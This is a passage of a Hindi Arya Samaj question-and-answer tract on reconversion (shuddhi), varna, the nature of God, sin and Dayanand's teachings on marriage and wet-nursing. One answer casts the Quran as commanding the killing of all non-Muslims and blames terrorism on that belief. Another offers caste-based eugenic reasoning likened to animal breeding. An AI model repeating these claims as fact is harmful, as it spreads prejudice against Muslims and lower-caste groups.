आस्था के कपड़े पहनाकर उसे धर्म का नाम देकर अपना उल्लू सिद्ध किया। अगर यही धर्म हैं तो फिर उसे अन्धविश्वास का प्राय: कहना कोई अतिश्योक्ति नहीं हैं।
आर्यसमाजी सत्य के प्रति श्रद्धा और विश्वास रखते है और असत्य का न केवल स्वयं त्याग करते है अपितु अन्यों को भी त्याग की प्रेरणा देते है।

शंका 23- क्या हिन्दू धर्मग्रंथों में शुद्धि का विधान नहीं है?

समाधान- “शुद्धि” प्राचीन आर्य विधान है

“घर वापसी”, शुद्धि, परावर्तन अनेक नामों से हम लोग एक प्राचीन संस्कार से आज परिचित है। प्राचीन काल में अनार्यों को आर्य बनाने की प्रक्रिया को शुद्धि कहा जाता था। इस प्रक्रिया में आत्मचरित को पवित्र करना शुद्ध कहलाता था। आज विधर्मी जैसे मुस्लिम अथवा ईसाई हो चूके हमारे भाइयों को पुन: वैदिक सनातन धर्म में प्रविष्ट करने को “शुद्ध” करना कहा जाता है। 28 दिसंबर 2014 के Midday अख़बार में मुंबई के रहने वाले संस्कृत विद्वान श्री गुलाम दस्तगीर जी का बयान छपा कि हिन्दू धर्मग्रंथों में शुद्धि का विधान नहीं है। हम इस लेख के माध्यम से गुलाम साहिब जी की इस भ्रान्ति का निवारण करना चाहते हैं की शुद्धि का विधान न केवल प्राचीन हैं अपितु इसका वैदिक ग्रंथों में अनेक स्थलों पर वर्णन मिलता हैं जिससे न केवल उनकी भ्रान्ति दूर हो सके अपितु उनके निकष्ट सज्जन भी इस भ्रान्ति का शिकार न हो।

वेदों में “शुद्धि” का सन्देश

1. हे विद्वानों! जो गिरे हुए है उनको फिर से उठाओ। जिन्होंने पाप किया है अथवा जिनका जीवन मैला हो गया है उनको फिर से जीवन दो या “शुद्ध” करो।ऋग्वेद 10/137/1

2. हे इन्द्र! शत्रुओं के निवारणार्थ हमें शक्ति दीजिये जो हिंसारहित एवं कल्याणकारक है। जिससे तुम दासों (अनार्यों) को आर्य अर्थात श्रेष्ठ बनाते हो, जो मनुष्य की वृद्धि का हेतु है।ऋग्वेद 6/22/10

3. परमेश्वर के नाम को आगे बढ़ाते हुए सब संसार को आर्य अर्थात श्रेष्ठ बनाओ। ऋग्वेद 9/63/5

श्रोत्र-सूत्र ग्रंथों में शुद्धि का विधान

1. भ्रष्ट द्विजों की संतान को शुद्ध कर यज्ञोपवीत दे देना चाहिये। आपस्तम्भ 1/1/1

2. प्रायश्चित से प्रायश्चित्कर्ता शुद्ध होकर अपने असली वर्ण को प्राप्त करता है। आपस्तम्भ 1/1/2

3. उपद्रव, व्याधि, मुसीबत आदि में शरीर की रक्षार्थ जो विधर्मी बने वह शांति होने पर शुद्ध होने के लिए प्रायश्चित कर ले। पराशर स्मृति 7/41

4. देश में उपद्रव आदि के काल में जिनका यज्ञोपवीत उतारा गया वह मास भर दुग्ध पान का व्रत करे, गोपालन करे और पुन: यज्ञोपवीत धारण करे। हारीत स्मृति

5. जिनको मलेच्छों ने बलपूर्वक गोहत्या, मांसभक्षण आदि नीचकर्म किये हो वह वर्णानुसार कृच्छ व्रत कर शुद्ध हो जाये। देवल स्मृति श्लोक 9-11

6. गोवध आदि समतुल्य पातकियों की शुद्धि चान्द्रायण आदि व्रतों से होती हैं। याज्ञवल्क्य स्मृति प्र -5

भविष्य पुराण में शुद्धि का वर्णन

1.कण्व ऋषि द्वारा मलेच्छों की शुद्धि का वर्णन। भविष्य पुराण प्रतिसर्ग खंड 4 अध्याय 21 श्लोक 17-21

2. अग्निवंश के राजाओं द्वारा बौद्धों की शुद्धि का वर्णन। भविष्य पुराण प्रतिसर्ग खंड 4 अध्याय 21 श्लोक 31-35

3. कृष्ण चैतन्य के सेवक,रामानंद के शिष्य, निम्बादित्य, विष्णु स्वामी द्वारा मलेच्छों की शुद्धि का वर्णन। भविष्य पुराण प्रतिसर्ग खंड 4 अध्याय 21 श्लोक 48-59

इतिहास में शुद्धि के प्रमाण

1. कश्मीर के राजा द्वारा ब्राह्मणों के सहयोग से लिखवाया गया ग्रन्थ रणबीर सागर में शुद्धि का समर्थन इन शब्दों में किया गया है की सभी ब्राह्य जातियाँ प्रायश्चित कर शुद्ध हो सकती है। रणबीर सागर प्रायश्चित प्रा 12

2. इतिहास में शंकराचार्य एवं कुमारिलभट्ट द्वारा बुद्धों की शुद्धि।

3. इतिहास में हुण, काम्बोज आदि जातियाँ शुद्ध होकर आर्य हुई।

4. शिवाजी द्वारा नेताजी पालकर जैसे सरदारों को इस्लाम से वैदिक धर्म में दोबारा से शुद्ध कर लिया गया।

इस प्रकार के अनेक उदहारण प्राचीन ग्रंथों एवं इतिहास से दिए जा सकते है

जिससे यह सिद्ध होता है कि प्राचीनकाल में शुद्धि का विधान हमारे देश में प्रचलित था। आधुनिक भारत में शुद्धि के प्राचीन संस्कार को पुनर्जीवित करने का और खोये हुए भाइयों को वापिस से स्वधर्मी बनाने का सबसे प्रथम एवं क्रांतिकारी प्रयास स्वामी दयानंद द्वारा किया गया जिसके लिए समस्त हिन्दू समाज का उनका आभारी होना चाहिए।

Link of News-

http://www.mid-day.com/articles/conversion-has-no-basis-in-hindu-scriptures/15871196

शंका 24- हमारे मुसलमान भाई ने एक शंका पूछी हैं की हिन्दुओं में गौ को, धरती को माता क्यों कहा गया हैं?

समाधान- हमें जन्म देने वाली माता को हम केवल इसलिए माता नहीं कहते क्यूंकि वह हमें केवल जन्म देती हैं अपितु इसलिए भी कहते हैं क्यूंकि वह हमारा पालन पोषण भी करती हैं और हमें जीने के लिए आवश्यक दूध भी पिलाती हैं। इसी नियम से जन्म न देने वाली पर केवल दूध पिला कर सेवा करने वाली और पालन पोषण करने वाली धाई को भी माँ के समान माना गया हैं। यही नियम जब माँ का दूध उपलब्ध न हो तब हमारे जीवन की रक्षा गौ के गुणवान एवं स्वास्थ्यवर्धक दूध से होती हैं इसलिए गौ को भी माँ के समान माना गया हैं और जब हमारे मुख में दाँत निकल जाते हैं तो हमें जीवनरक्षक अन्न को उपलब्ध करवाने वाली इसलिए धरती को भी माँ कहा गया हैं। यह कर्तव्य बोध की भावना हैं एवं गौ और धरती को मनुष्य के लिए उपकारी होने के कारण माँ के समान उचीत स्थान देकर उनका सम्मान करना सिखाया जाता हैं।

शंका 25- स्वामी श्रद्धानन्द – धर्म और सम्प्रदाय में क्या अंतर हैं ?

समाधान- संसार के सम्प्रदाय धर्म की रक्षा के लिए स्थापन किये गए थे , परन्तु आज वे ही सम्प्रदाय मूल धर्म को भूल कर गौण मतभेद के धर्म के वादानुवाद में लगे हुए हैं। जिस प्रकार शरीर को जीवित रखने के लिए अन्न-फल आदि के आहार की आवश्यकता हैं , इसी प्रकार आत्मिक जीवन की संरक्षा के लिए भी धर्म रुपी आत्मिक आहार की आवश्यकता होती हैं। शरीर रक्षा के लिए अन्न और फल मुख्य है, परन्तु उसी अन्न और फल की रक्षा के लिए खेत वा वाटिका के इर्द-गिर्द बाड़ लगानी पड़ती हैं। कैसा मुर्ख वह इंसान हैं, जो अन्न-फल को भुलाकर अन्य किसानों की बाड़ो से ही अपनी बाड़ का मुलाबला कर उनका तिरस्कार करता हैं? इसी प्रकार जीवात्मा का आहार धर्म अर्थात प्रकृति के संसर्ग से छुट कर परमात्मा में स्वतंत्र रूप से विचरण मुख्य हैं। उसकी रक्षा के लिए जो सांप्रदायिक विधियां नियत की गई हैं, वे खेतों की बाड़ों के सदृश ही गौण हैं। कितना मुर्ख वह सांप्रदायिक पुरुष हैं, जो गौण नियमों के विवाद में फंसकर अपने मुख्य धर्म को भूल जाता हैं।

आचार परमो धर्म अर्थात धर्म की सबसे उत्तम परिभाषा आचार अर्थात आचरण को कहा गया हैं। इसलिए आचरण को पवित्र बनाने पर जोर दीजिये साम्प्रदायिकता पर नहीं।

(सन्दर्भ- राष्ट्रवादी दयानंद – लेखक सत्यदेव विद्यालंकार से साभार)

शंका 26 -वेदों के शत्रु विशेष रूप से पुरुष सूक्त को जातिवाद की उत्पत्ति का समर्थक मानते हैं।

समाधान – पुरुष सूक्त १६ मन्त्रों का सूक्त हैं जो चारों वेदों में मामूली अंतर में मिलता हैं। पुरुष सूक्त जातिवाद का नहीं अपितु वर्ण व्यस्था के आधारभूत मंत्र हैं जिसमे “ब्राह्मणोस्य मुखमासीत” ऋग्वेद १०.९० में ब्राह्मण, क्षत्रिय, वैश्य और शुद्र को शरीर के मुख, भुजा, मध्य भाग और पैरों से उपमा दी गयी हैं। इस उपमा से यह सिद्ध होता हैं की जिस प्रकार शरीर के यह चारों अंग मिलकर एक शरीर बनाते हैं, उसी प्रकार ब्राह्मण आदि चारों वर्ण मिलकर एक समाज बनाते हैं। जिस प्रकार शरीर के ये चारों अंग एक दुसरे के सुख-दुःख में अपना सुख-दुःख अनुभव करते हैं, उसी प्रकार समाज के ब्राह्मण आदि चारों वर्णों के लोगों को एक दुसरे के सुख-दुःख को अपना सुख-दुःख समझना चाहिए। यदि पैर में कांटा लग जाये तो मुख से दर्द की ध्वनि निकलती हैं और हाथ सहायता के लिए पहुँचते हैं उसी प्रकार समाज में जब शुद्र को कोई कठिनाई पहुँचती हैं तो ब्राह्मण भी और क्षत्रिय भी उसकी सहायता के लिए आगे आये। सब वर्णों में परस्पर पूर्ण सहानुभूति, सहयोग और प्रेम प्रीति का बर्ताव होना चाहिए। इस सूक्त में शूद्रों के प्रति कहीं भी भेद भाव की बात नहीं कहीं गयी हैं। कुछ अज्ञानी लोगो ने पुरुष सूक्त का मनमाना अर्थ यह किया कि ब्राह्मण क्यूंकि सर हैं इसलिए सबसे ऊँचे हैं अर्थात श्रेष्ठ हैं एवं शुद्र चूँकि पैर हैं इसलिए सबसे नीचे अर्थात निकृष्ट हैं। यह गलत अर्थ हैं क्यूंकि पुरुषसूक्त कर्म के आधार पर समाज का विभाजन हैं नाकि जन्म के आधार पर ऊँच नीच का विभाजन हैं।

इस सूक्त का एक और अर्थ इस प्रकार किया जा सकता हैं की जब कोई व्यक्ति समाज में ज्ञान के सन्देश को प्रचार प्रसार करने में योगदान दे तो वो ब्राह्मण अर्थात समाज का सिर/शीश हैं, यदि कोई व्यक्ति समाज की रक्षा अथवा नेतृत्व करे तो वो क्षत्रिय अर्थात समाज की भुजाये हैं, यदि कोई व्यक्ति देश को व्यापार, धन आदि से समृद्ध करे तो वो वैश्य अर्थात समाज की जंघा हैं और यदि कोई व्यक्ति गुणों से रहित हैं अर्थात शुद्र हैं तो वो इन तीनों वर्णों को अपने अपने कार्य करने में सहायता करे अर्थात इन तीनों की नींव बने,मजबूत आधार बने।

शंका 27- ईश्वर निराकार है तो ईश्वर ने साकार जगत की रचना कैसे करी?

समाधान- ईश्वर निराकार अर्थात आकार रहित है। इसमें कोई शंका नहीं है। जहाँ तक साकार जगत की रचना का प्रश्न है हम एक उदहारण के माध्यम से उसे समझने का प्रयास करते है। विचार दो प्रकार के है व्यक्त एवं अव्यक्त। मान लीजिये एक व्यक्ति दूर से पुकार कर मुझे मेरे नाम से बुला रहा है। मैंने अपनी इन्द्रिय जैसे कि कान की सहायता से उसके विचार को सुना। यह व्यक्त विचार था जो वाह्य था और इन्द्रिय की सहायता से सुना गया। अब मैं अपना ही नाम अपने मन में पुकारता हूँ। किसी भी वाह्य इन्द्रियों का कोई प्रयोग नहीं हुआ। यह अव्यक्त विचार था। जो विचार अव्यक्त था वह बिना इन्द्रियों कि सहायता के संपन्न हुआ क्यूंकि वह शरीर के भीतर ही हुआ । अब ईश्वर के गुण जानियें। सम्पूर्ण ब्रह्माण्ड ईश्वर के विराट शरीर है। यजुर्वेद 40/5 में लिखा है ईश्वर सबके भीतर ओत-प्रोत है अत: उसे अपने से बाहर कोई भी क्रिया नहीं करनी पड़ती। फिर उसे इन्द्रियों की क्या आवश्यकता है? श्वेताश्वतरोपनिषद् 3/19 में कहा है ईश्वर के हाथ-पैर नहीं है इसके बिना ही वह सर्वत्र प्राप्त है और सबको थाम रहा है। जिस प्रकार से मुख और प्राणादि साधनों के बिना भी ईश्वर मुख और प्राण आदि के कार्य कर सकता है उसी प्रकार के बिना हाथ के ईश्वर सृष्टि का निर्माण भी कर सकता है। यह सब निर्माण ईश्वर के भीतर ही हो रहा है। इसलिए अव्यक्त विचार के समान ईश्वर को इन्द्रिय आदि की कोई सहायता की आवश्यकता नहीं है। ईश्वर के साकारत्व और सावयवत्व में संयोग होने से वियोग होना अनिवार्य होगा, क्यूंकि संयोग और वियोग दोनों सहचर है। तब तो ईश्वर की मृत्यु भी माननी होगी जो असंभव है। इसलिए निराकार ईश्वर द्वारा सृष्टि की अपने भीतर रचना करना बिना इन्द्रियों द्वारा संभव एवं युक्तिसंगत है।

शंका 28- एक व्यक्ति मन से पापकर्म का विचार करे मगर कर्म से कोई पापकर्म न करे। क्या वह पापी है?

समाधान- निश्चित रूप से मन से पापकर्म की बात सोचने वाला व्यक्ति भी कर्म से पाप करने वाले के समान पापी है। शतपथ ब्राह्मण में लिखा है मनुष्य जैसा मन में विचार लाता है वैसा वाणी से कहता है जैसा वाणी से कहता है वैसा कर्म से करता है। कुछ लोग यह शंका भी करते है कि केवल मन में बुरे विचार लाने वाला व्यक्ति किसी दूसरे का कोई अहित नहीं कर रहा फिर वह पापी कैसे हो सकता है? इस विषय में गीता श्लोक ३/६ में लिखा है कि जो मनुष्य कर्म इन्द्रियों को रोककर केवल मन से इन्द्रियों के भोग का विचार करता है, वह मूढात्मा मिथ्याचारी है। इसके अलावा गीता श्लोक २/६२-६३ में लिखा है कि विषयों का ध्यान करने से मनुष्य को उनके साथ संग वह राग पैदा होता है जिससे तीव्र इच्छा पैदा होती है। काम की पूर्ति न होने पर क्रोध उत्पन्न होता है। क्रोध से मूढ़ता होती है। मूढ़ता से स्मृति में दोष आता है। स्मृति के बिगड़ने से मनुष्य की बुद्धि नष्ट होती है और बुद्धि के नाश से मनुष्य का नाश हो जाता है। बुद्धि के बल पर मनुष्य और पशु में भेद होता है और जिसकी बुद्धि नष्ट हो जाये उसका सर्वनाश निश्चित है।

जिस प्रकार से पानी के तालाब में पत्थर फेंकने से उसकी लहरे उठती है, जिस प्रकार घंटी बजाने से उसकी आवाज वायु में चारों दिशाओं में फैलती है, जिस प्रकार जिस प्रकार दीपक जलाने पर उसका प्रकाश चारों दिशाओं में फैलता है उसी प्रकार से मानस तत्व के विचार एक व्यक्ति के मन से दूसरे व्यक्तियों तक भी पहुँचते है। मन के श्रेष्ठ विचार अन्यों को प्रकाशित करते है और दुर्गन्ध वाले विचार दूषित करते है।

वेद भगवान भी इसीलिए मनष्यों को पाप कर्मों के विचार से बचने के प्रेरणा देते है। अथर्ववेद ६/४५/१५ में लिखा है- हे मन के पाप, दूर हट जा, क्या बुरी बातें बताता है। हटजा तुझको मैं नहीं चाहता। वन-वृक्षों में फिरता रह, मेरा मन घर में, गौ आदि पशुओं की पालना में है।

ऋग्वेद १०/१६४/१ में लिखा है- हे मन को पतित करने वाले कुविचार! हटो दूर भागों परे चलों। दूर के विनाश को देखो। जीवित मनुष्य का मन बहुत सामर्थ्य से युक्त है।

इन मन्त्रों का आशय स्पष्ट है कि जिस प्रकार से हमारे घर में कोई चोर-डाकू आदि प्रवेश करने का प्रयास करता है तो हम उसे दूर भगा देते है उसी प्रकार से हमारे मन रूपी घर में कोई दुर्विचार प्रवेश करने का प्रयास करे तो हम उसे रोके और अगर भीतर आ जाये तो हमें उसे निकाल देना चाहिए।

वेद भगवान के इन दोनों मन्त्रों के अर्थों पर निरंतर चिंतन करने से मनुष्य अपने मन में दुर्विचारों के प्रवेश करने एवं प्रवेश हुए विचारों को निकालने में संभव है। मन से किया हुआ पाप कर्म से किये हुए पाप के समान ही मनुष्य का नाश करता है।

शंका 29 -क्षमा याचना करने से क्‍या ईश्‍वर अपने भक्‍तों के पापों को क्षमा करता है?

समाधान -कदाचित् नहीं! यदि परमात्‍मा किसी भी व्‍यक्ति के पापों को क्षमा करता है तो वह न्‍यायकारी नहीं हो सकता क्‍योंकि वह पापियों को अधिक पाप कर्म करने की अनुमति, बढ़ावा तथा स्‍वतन्‍त्रता प्रदान कर रहा है जो परमात्‍मा के लिये असम्‍भव बात है। ईश्‍वर न्‍यायकारी है, दयालू है, इसी लिये पापियों को सुधारने के लिये दण्‍ड देता है। संसार में हम देखते हैं कि छोटा सा बच्‍चा भी यदि वह पहली बार कोई ग़लती करता है तो उसके माता-पिता समझाते है और वह बच्‍चा जान-बूझ कर ‍फिर उसी ग़लती को बार-बार करता है तो माँ-बाप उसे सज़ा देते है ताकि उसका बच्‍चा भविष्‍य में वही ग़लती न करे और सुधर जाए। परमात्‍मा भी हमें हर क़दम पर हर बुरे काम करने से पहले चेतावनी देता रहता है। जानते है कैसे? हर बुरे कार्य करने से पूर्व या हर ग़लती करने से पहले हमारे मन में ‘भय’, ‘शंका’ और ‘लज्‍जा’ की अनुभूति होती है, वह परमात्‍मा की ओर से चेतावनी होती है, जो हम सुनी-अनसुनी कर देते हैं। उसकी बात न मानकर हम ‍फिर ग़लत कार्य करते है और उसका फल मिलने पर पछतावा करते है और ईश्‍वर से माफ़ी माँगते रहते है। आप ही बताइये कि क्‍या वह न्‍यायकारी परमात्‍मा हमें माफ़ करेगा? यह सम्‍भव नहीं। यदि ऐसा होने लगे तो पापी जन और अधिक पाप करने लगेंगे और अपने किये कुकर्मों की क्षमा याचना करेंगे। फिर ईश्‍वर की न्‍याय व्‍यवस्‍था का क्‍या होगा?

मनुष्‍य हर समय जाने-अनजाने में ग़लतियाँ या दुष्‍कर्म करता रहता है और कभी-कभी तो सोच-समझकर जानते हुए भी कि इस ग़लत कार्य का परिणाम ठीक नहीं होगा फिर भी वह कुकर्म कर बैठता है और कर्म करते ही वह ईश्‍वर से क्षमा याचना माँगता है कि ‘हे प्रभो मुझे माफ़ कर दो’। परमात्‍मा की चेतावनी के बावजूद भी वह दुष्‍कर्म करता है तो क्‍या ईश्‍वर उसे क्षमा करेगा? अतः हर पाप कर्म अथवा ग़लती के परिणाम में दण्‍ड के रूप में ‘दुःख’ (बन्‍धन) प्राप्‍त होता है और हर पुण्‍य तथा अच्‍छे कर्म का फल ‘सुख’ (स्‍व्‍तन्‍त्रता) के रूप में मिलता है। दुःख का दूसरा नाम बन्‍धन है और सुख का दूसरा नाम स्‍वतन्‍त्रता है। इसलिये सब मनुष्‍यों को सब काम सोच-समझकर कर धर्मानुसार करने चाहियें।

शंका 30-धाया के दूध पिलाने एवं 6 दिन के पश्चात जन्म देने वाली माता का दूध न पिलाने के पीछे स्वामी दयानंद का वैज्ञानिक चिंतन क्या है?

समाधान- स्वामी दयानंद की धाया के दूध पिलाने एवं 6 दिन के पश्चात जन्म देने वाली माता का दूध न पिलाने के पीछे चिंतन को समझने के लिए व्यापक रूप से इस विषय को समझने पड़ेगा। स्वामी जी द्वारा सत्यार्थ प्रकाश में गृहस्थ आश्रम में जाने से पहले कुछ नियम बताये गए हैं जैसे

1. चार नहीं तो न्यून से न्यून एक वेद तो अवश्य पढ़ा होना चाहये।

2. ब्रह्मचर्य का पालन करने के पश्चात ही गृहस्थ में प्रवेश करना चाहिए।

3. युवा स्त्री स्वयंवर द्वारा वर का निर्धारण करे।

4. आचार्य आदि शिक्षा [प्राप्ति के पश्चात गुण, कर्म और स्वाभाव के आधार पर वर- वधु का चयन करे

5. माता पिता की 6 पीढ़ियों को छोड़कर विवाह करे

इन सब नियम का पालन करने के पश्चात जो वर वधु गृहस्थ में प्रवेश करते हैं तो उनकी संतान निश्चित रूप से उत्तम जनों में भी उत्तम बनेगी। इसलिए ऐसी उत्तम संतान की समाज को अधिक आवश्यकता हैं इसलिए ऐसी 10 संतान उससे अधिक नहीं करने का स्वामी जी का विचार था।

अब वैज्ञानिक पक्ष सुनिए। चिकित्सा विज्ञान के अनुसार जब तक माता दूध पिलाती रहती हैं तब तक उसे मासिक धर्म नहीं आरम्भ होते और जब तक मासिक धर्म आने आरम्भ नहीं होगे तब तक पुन: गर्भधारण नहीं हो सकता। दूसरा दूध पिलाने में माता को सामान्य से बहुत अधिक पोषण की आवश्यकता होती है। अगर वह दूध पिलाती रही तो शरीर अगला गर्भ धारण करने के लिए तैयार नहीं होगा। इसलिए धाया का निर्धारण करना, धाया के पोषण का समुचित ध्यान रखना एवं जन्म देने वाली माता का पुन: गर्भवती होकर श्रेष्ठ संतान उत्पन्न करने का स्वामी जी का विचार था जिससे समाज को श्रेष्ठ गुण, कर्म और स्वभाव वाले नागरिक प्राप्त हो। स्वामी जी विशेष गुणों वाले व्यक्तिओं जैसे राजा, विद्वान, वीर क्षत्रिय, आदर्श गृहस्थी आदि के लिए ऐसा विकल्प दे रहे हैं नाकि शूद्रों की संख्या बढ़ाने का उनका मंतव्य हैं। आज कल पशुओं में नस्ल सुधार इसी चिंतन पर आधारित एक प्रयोग हैं।

शंका 31-आर्यसमाज शुद्धि प्रक्रिया से किसी भी विधर्मी मत के व्यक्ति को आर्यधर्म में प्रवेश करना मानता है। प्राय: यह देखा गया हैं की शुद्ध हुआ व्यक्ति अपने पूर्वसंस्कारों के कारण अनेक दोष युक्त भी होता हैं जैसे नशा आदि इसलिए क्या उसके परिवर्तन को आप उसके प्रवेश को शुद्ध होना कैसे कह सकते है। महात्मा गांधी भी जब तक व्यक्ति के विचार परिवर्तन न हुआ हो तब तक शुद्धि को सही नहीं मानते थे।

समाधान- परिवर्तन दो प्रकार का होता हैं विचार परिवर्तन एवं आचार परिवर्तन। आपके विचार आपके आचार के मार्गदर्शक है। अंग्रेजी में दो शब्द होते है admission अर्थात दाखिला एवं qualification अर्थात योग्यता। पहले दाखिला होता हैं अर्थात विचारों में परिवर्तन करने के लिए दाखिला होता हैं जिससे विचारों को परिपक्व होने का अवसर मिलता है और अंत में विचार ग्रहण होने के पश्चात आचरण में परिवर्तन होता हैं। आचरण परिवर्तन के पश्चात वह आर्य बन जाता है। शुद्धि विचार परिवर्तन की प्रक्रिया के लिए बढ़ाया गया पहला कदम है। विचारों से पहले आचरण परिवर्तन असंभव है। एक उदहारण लीजिये सेना में भर्ती होने से पहले व्यक्ति अनुशासन, नियमित दिनचर्या के प्रति उतना सजग नहीं होता जितना प्रवेश के पश्चात उसे बनाया जाता है। ठीक वैसे ही आर्यसमाज में प्रवेश के पश्चात उच्च आचरण, व्यसन आदि दोषों का त्याग, सदाचारी जीवन, आध्यात्मिक उन्नति एवं ईश्वर के यथार्थ बोध से व्यक्ति का विकास होता हैं एवं वह आर्य बन जाता है। शुद्धि वेद रूपी साबुन से विचारों के मैल को हटाकर आर्य बनाने का अवसर प्रदान करने का नाम है।

शंका 32- वेद के कुछ मन्त्रों का हवाला देते हुए हमारे कुछ मुस्लिम भाई जिहाद को जायज ठहराने का प्रयास करते है। वेद के मन्त्रों में शत्रु का विनाश करने का स्पष्ट आदेश है। हमारे मुस्लिम भाई जिहाद का समर्थन करने वाली आयतों की तुलना वेद के शत्रु का नाश करने वाले मन्त्रों से करते हुए यही कहते हैं कि जिस प्रकार से वेदों में शत्रु के नाश का विधान हैं उसी प्रकार से क़ुरान भी वैसी ही आज्ञा देता है। उनका कहना हैं कि इसलिए काफिरों को मारने की आज्ञा देने वाली क़ुरान की जिहादी आयतें जायज है।
समाधान- सत्य यह हैं की इन दोनों में भारी अंतर कर्म और मान्यता का है। सर्वप्रथम तो शत्रु शब्द की व्याख्या में वेद और क़ुरान में भारी भेद है। क़ुरान के अनुसार शत्रु वो हैं जो इस्लाम को नहीं मानता और मुहम्मद साहिब को अंतिम पैगम्बर नहीं मानता जबकि वेद के अनुसार शत्रु वो हैं जो पापकर्म करता हैं, राष्ट्रद्रोही है, श्रेष्ठ जनों को कष्ट पहुँचाता है। एक उदहारण के माध्यम से इस अंतर को समझने का प्रयास करते है। एक व्यक्ति धर्मात्मा है, सभी श्रेष्ठ कर्म करता है, कोई पाप नहीं करता एवं सदाचारी जीवन व्यतीत करता है। वेदों के अनुसार तो वह पुण्यात्मा एवं सम्मान के योग्य हैं क्यूंकि वह जीवन में नैतिक मूल्यों का पालन करता हैं जबकि क़ुरान के अनुसार वह व्यक्ति काफिर हैं क्यूंकि वह इस्लाम को नहीं मानता और मुहम्मद साहिब पर ईमान नहीं लाता। अब अगर कोई व्यक्ति इस्लाम को मानने वाला हो और पापी हो, दुष्ट हो, चोरी आदि बुरे कर्म करने वाला हो तो भी वह शत्रु नहीं हैं क्यूंकि वह मुहम्मद साहिब पर ईमान लाया है। वैसे क़ुरान में कुछ आयतें श्रेष्ठ कर्म करने का सन्देश देने वाली भी मिल जाएगी मगर उन आयतों पर पैगम्बर पर ईमान लाने वाली बात सबसे भारी है। क़ुरान में कुछ स्थलों पर तो मुहम्मद साहिब अल्लाह से भी अधिक प्रभावशाली प्रतीत होते हैं। विश्व भर में आतंकवाद भी इसी मानसिकता का परिणाम है जो व्यक्ति व्यक्ति में भेद उसके कर्म के आधार पर नहीं अपितु मान्यता के आधार पर करता है।
वेद में शत्रु को दंड देने का कार्य भी केवल राजा का है न की हर व्यक्ति को इसका आदेश है। इन सभी मन्त्रों में वेद राजा को राज्य की समुचित व्यवस्था हेतु शत्रु को दंड देने का आदेश देते है। यह प्रक्रिया ठीक ऐसे हैं जैसे एक आतंकवादी को सेना द्वारा मार डालने पर सैनिक को दंड नहीं अपितु सम्मान मिलता हैं क्यूंकि उसने यह कार्य राजनियम का पालन करते हुए किया है। जबकि क़ुरान में गैर मुस्लिमों को मारने का सन्देश देकर निरीह जनता पर भयानक अत्याचार हो रहे है क्यूंकि अराजकता फैलाने के बदले जनन्त की हूरों का प्रलोभन भी दिया जाता है।
इस प्रकार से वेद के मन्त्रों में शत्रु को नष्ट करने और क़ुरान में काफिरों को नष्ट करना एक नहीं है। जिस दिन यह अंतर समझ में आ जायेगा उस दिन संसार से आतंकवाद सदा के लिए समाप्त हो जायेगा।

शंका 33 - सत्यार्थ प्रकाश में स्वामी दयानंद द्वारा 24 वर्ष की कन्या से 48 वर्ष के पुरुष का विवाह करना बताया गया हैं। यह कितना उचित हैं?

समाधान- सत्यार्थ प्रकाश के चतुर्थ समुल्लास में स्वामी दयानंद जी लिखते हैं –

16 वें से लेके 24 वें वर्ष तक कन्या और 25वें वर्ष से लेके 48 वें वर्ष तक पुरुष का विवाह समय उत्तम हैं . इस में जो 16 और 25 में विवाह करे तो निकृष्ट , 18-20 वर्ष की स्त्री तथा 30-35 वा 40 वर्ष के पुरुष का मध्यम , 24 वर्ष की स्त्री और 48 वर्ष के पुरुष का विवाह उत्तम हैं। जिस देश में इसी प्रकार विवाह की विधि श्रेष्ठ और ब्रहमचर्य विद्या अभ्यास अधिक होता हैं वह देश सुखी और जिस देश में ब्रहमचर्य, विद्या रहन रहित बाल्यावस्था और अयोग्यों का विवाह होता हैं वह देश दुःख में डूब जाता हैं।स्वामी जी ने 24 वर्ष की स्त्री के साथ 48 वर्ष के पुरुष का विवाह करने को क्यूँ कहा हैं इसका उत्तर सत्यार्थ प्रकाश के तृतीय समुल्लास में पठन-पाठन विधि में दिया गया हैं।

इस पाठ विधि में (संक्षेप में) स्वामी जी द्वारा व्याकरण के प्रारंभ में अष्टाध्यायी तदनन्तर धातुपाठ, उणादिगण, शंका ,समाधान वार्तिक, कारिका , परिभाषा तदनन्तर महाभाष्य, यास्क मुनि कृत निघंटु और निरुक्त, तदनन्तर छन्द ग्रन्थ,मनुस्मृति,वाल्मीकि रामायण और महाभारत,विदुरनीति, तदनन्तर पूर्व मीमांसा,वैशेषिक,न्याय,योग,सांख्य और वेदांत, ईश,केन, कठ, प्रश्न, मुण्डक, माण्डुक्य, ऐतरेय , तैतरीय, छान्दोग्य और बृहद अरण्यक, तत्पश्चात ब्राह्मण ग्रन्थ ऐतरेय, शतपथ , साम और गोपथ के सहित चारों वेदों के स्वर, शब्द,अर्थ,सम्बन्ध तथा क्रियासाहित पढ़ना योग्य हैं। वेदों को पढ़ के आयुर्वेद, धनुर्वेद, गन्धर्व वेद और अर्थवेद यह चार उपवेद पढ़े।

व्याकरण के महान विद्वान एवं स्वामी दयानंद के परम भक्त महामहोपाध्याय पंडित युधिष्ठर जी मीमांसक के अनुसार स्वामी दयानंद द्वारा सत्यार्थ प्रकाश में वर्णित आर्ष पाठ विधि का चार भाग में विभागीकरण किया जा सकता हैं।

प्रथम कल्प – 24 वर्ष तक ब्रहमचर्य पालन करने वाले के लिए-अर्थात 8 वर्ष की आयु में पठन पाठन आरंभ कर 16 वर्ष में तक निरन्तर व्याकरण में महाभाष्य पर्यन्त, निरुक्त, सामान्य कोष, छन्द शास्त्र साहित्य, ज्योतिष शास्त्र, कल्प सूत्र , धर्म सूत्र, उपनिषद् तथा एक वेद का अध्ययन हो सकता हैं।

द्वितीय कल्प- 32 वर्ष तक ब्रहमचर्य पालन करने वाले के लिए-अर्थात 8 वर्ष की आयु में पठन पाठन आरंभ कर 24 वर्ष में तक निरन्तर – पहले लिखे गए पाठ्यक्रम को पढ़ कर यजुर्वेद का अध्ययन करने वाला व्यक्ति 4 वर्ष में शतपथ ब्राह्मण, आयुर्वेद को पढ़े व सामवेद को वादित्रवाहन ,सामगान, नाट्य शास्त्र के साथ अध्ययन करें। इस प्रकार वह दो वेदों का विद्वान बन जायेगा।

तृतीय कल्प – 40 वर्ष तक ब्रहमचर्य पालन करने वाले के लिए-अर्थात 8 वर्ष की आयु में पठन पाठन आरंभ कर 32 वर्ष में तक निरन्तर – सम्पूर्ण ऋग्वेद को ऐतरेय ब्राह्मण के साथ, सामवेद को तांड्य ब्राह्मण के साथ , अथर्ववेद को गोपथ ब्राह्मण के साथ पढ़े।

